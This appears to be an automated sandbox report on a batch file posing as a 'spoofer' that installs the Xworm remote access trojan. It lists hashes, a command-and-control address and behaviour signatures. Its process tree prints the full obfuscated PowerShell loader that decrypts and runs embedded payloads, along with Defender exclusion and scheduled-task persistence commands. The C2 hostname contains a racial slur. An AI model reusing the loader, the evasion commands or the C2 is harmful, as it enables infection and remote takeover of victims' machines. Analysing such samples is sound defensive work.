Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-01-2025 18:47

General

  • Target

    JoresSpoofer.bat

  • Size

    288KB

  • MD5

    0d54ebc1a6e4ebe7d65b969c4024ed1e

  • SHA1

    d790848a4fb6566f261336c792d3dc52231b6893

  • SHA256

    3e9360777427b09db15faafc2cd5171b403461b445a932ee5e88d55b8342f876

  • SHA512

    8ac84b09ba0f134a0575940877a2bea840c313ac2cdc048ffa2e1f64e9ea50aa59fe741f5b44ec1731ea4df7f17dd0a8f71c92ae305fc65893b81196e9293580

  • SSDEEP

    6144:eAxGUqNRfHDHpulKyACuprcyfVsG3GNvMr+MjICSjQp:eAxRIf1W6CupwyfSueBK

Malware Config

Extracted

Family

xworm

C2

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes
  • Install_directory

    %ProgramData%

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9teasotqBk8WTenpeTE5FzOMJ48xawOGNCq0WwkILmY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Wrx0K4LfWEl9bMIQeRbWZw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WohyS=New-Object System.IO.MemoryStream(,$param_var); $VaNLI=New-Object System.IO.MemoryStream; $mbEJl=New-Object System.IO.Compression.GZipStream($WohyS, [IO.Compression.CompressionMode]::Decompress); $mbEJl.CopyTo($VaNLI); $mbEJl.Dispose(); $WohyS.Dispose(); $VaNLI.Dispose(); $VaNLI.ToArray();}function execute_function($param_var,$param2_var){ $LjWzP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $jmxwW=$LjWzP.EntryPoint; $jmxwW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat';$lQdiW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JoresSpoofer.bat').Split([Environment]::NewLine);foreach ($pjzMI in $lQdiW) { if ($pjzMI.StartsWith(':: ')) { $iUyve=$pjzMI.Substring(3); break; }}$payloads_var=[string[]]$iUyve.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:32
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1896
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1424
  • C:\ProgramData\powershell.exe
    C:\ProgramData\powershell.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3408

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\powershell.exe

    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d3e9c29fe44e90aae6ed30ccf799ca8

    SHA1

    c7974ef72264bbdf13a2793ccf1aed11bc565dce

    SHA256

    2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

    SHA512

    60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    634cde2589934e07d99490d6d6b9feca

    SHA1

    c118bd53a94e9ce0bd970b354812131675c1269f

    SHA256

    518e9613183fe36f877d1ae225c4e8e96c53349b09025e1c91533bb696a3f2d8

    SHA512

    972035cd12a6ec63b7a827867a54700d91855b45825bf57f15d5985d9380d77308e1638a8490403ad13a5ae307dfdd5a868bd9bfc6b37d4ecf00a8b54b9deae5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krpv4cj5.iei.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3408-75-0x00000140EDC10000-0x00000140EDC86000-memory.dmp

    Filesize

    472KB

  • memory/3408-74-0x00000140EDB40000-0x00000140EDB84000-memory.dmp

    Filesize

    272KB

  • memory/3456-54-0x00007FFD84F53000-0x00007FFD84F55000-memory.dmp

    Filesize

    8KB

  • memory/3456-15-0x0000021470320000-0x0000021470336000-memory.dmp

    Filesize

    88KB

  • memory/3456-14-0x00000214702C0000-0x00000214702F8000-memory.dmp

    Filesize

    224KB

  • memory/3456-13-0x00000214702B0000-0x00000214702B8000-memory.dmp

    Filesize

    32KB

  • memory/3456-0-0x00007FFD84F53000-0x00007FFD84F55000-memory.dmp

    Filesize

    8KB

  • memory/3456-55-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3456-12-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3456-11-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3456-1-0x0000021470080000-0x00000214700A2000-memory.dmp

    Filesize

    136KB

  • memory/3896-25-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3896-26-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3896-27-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3896-30-0x00007FFD84F50000-0x00007FFD85A11000-memory.dmp

    Filesize

    10.8MB